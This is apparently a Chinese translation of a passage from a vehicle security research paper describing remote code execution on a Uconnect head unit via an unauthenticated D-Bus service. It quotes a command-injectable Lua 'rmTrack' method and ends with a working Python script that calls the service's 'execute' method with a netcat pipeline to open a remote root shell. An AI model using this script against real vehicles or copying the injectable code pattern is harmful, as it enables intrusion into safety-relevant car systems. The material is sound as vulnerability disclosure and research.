利用D-Bus服务

优质
小牛编辑
115浏览
2023-12-01

利用D-Bus服务

D-Bus系统是可以匿名访问的,跨进程通讯经常会使用D-Bus系统。我们认为,D-Bus系统本不应该会暴露,所以,我们有点意外,利用D-Bus来运行代码居然是可行的。

获取代码执行

你已经发现了D-Bus服务暴露在了端口6667上,并且这个端口是在Uconnect系统上运行的。所以,我们认为通过不认证办法来执行代码是最好的方式。在一开始的时候,我们就怀疑过这个服务,因为这个服务在设计上就是为了处理通讯。我们推测,这种通讯一定在某种程度上是受信的,并且在设计上就不会处理远程数据。在网络上,暴露像D-Bus这样一个强大和全面的服务会造成几个安全问题,无论是功能滥用,还是代码注入,甚至是内存崩溃。

在上文的D-Bus服务章节,我们发现了几个D-Bus服务,以及调用每个服务的方法,但是有一个非常重要的服务没有提到,那就是‘NavTrailService’ 。‘NavTrailService’的代码是在这里‘/service/platform/nav/navTrailService.lua’ 实现的。因为内存崩溃非常难实现,而且这又是一个LUA脚本,所以我们的第一个想法就是查找命令注入漏洞。我们发现了下面的一个方法,这个方法是在一个用户命名的文件上操作的。

function methods.rmTrack(params, context)
  return {
    result = os.execute("rm \"" .. trail_path_saved .. params.filename .. "\"")
  }
end

‘rmTrack’方法中包含有一个命令注入漏洞,如果攻击者能调用D-Bus方法,那么利用这个漏洞,攻击者就可以通过指定包含有shell元字符的文件来运行任意的shell命令(当然也有其他类似的方法)。我们的怀疑是正确的,因为在处理可信来源的用户输入时,命令注入是一种非常典型的方法。

但是,这里的命令执行不是必要的,因为实际上‘NavTrailService’服务提供了一种 “执行”方法,这种方法就是设计用于执行任意shell命令的!嘿,这是一个功能,不是一个bug!下面列出的是‘NavTrailService’可用的所有服务,加粗显示的两个服务是我们所讨论的。

"com.harman.service.NavTrailService": 
{"name":"com.harman.service.NavTrailService",
     "methods":{"symlinkattributes":"symlinkattributes","getProperties":"getPr
operties","execute":"execute","unlock":"unlock","navExport":"navExport","ls":
"ls","attributes":"attributes","lock":"lock","mvTrack":"mvTrack","getTracksFo
lder":"getTracksFolder","chdir":"chdir","rmdir":"rmdir","getAllProperties":"g
etAllProperties","touch":"touch","rm":"rm","dir":"dir","writeFiles":"writeFil
es","setmode":"setmode","mkUserTracksFolder":"mkUserTracksFolder","navGetImpo
rtable":"navGetImportable","navGetUniqueFilename":"navGetUniqueFilename","mkd
ir":"mkdir","ls_userTracks":"ls_userTracks","currentdir":"currentdir","rmTrac
k":"rmTrack","cp":"cp","setProperties":"setProperties","verifyJSON":"verifyJS
ON"}},

你可以推测出在头单元上使用根权限来执行代码并不难,尤其是当默认安装的是常用的通讯工具时,比如netcat(nc)。我们希望这个漏洞可以更出色一点(编辑注释:这是假话!),虽然在头单元上执行代码不是很困难。下面的四行Python代码可以在未经篡改过的头单元上打开一个远程根shell,这意味着攻击者并需要通过劫持头单元就可以入侵系统。

#!python
import dbus
bus_obj=dbus.bus.BusConnection("tcp:host=192.168.5.1,port=6667")
proxy_object=bus_obj.get_object('com.harman.service.NavTrailService','/com/ha
rman/service/NavTrailService') 
playerengine_iface=dbus.Interface(proxy_object,dbus_interface='com.harman.Ser
viceIpc')
print playerengine_iface.Invoke('execute','{"cmd":"netcat -l -p 6666 |
/bin/sh | netcat 192.168.5.109 6666"}')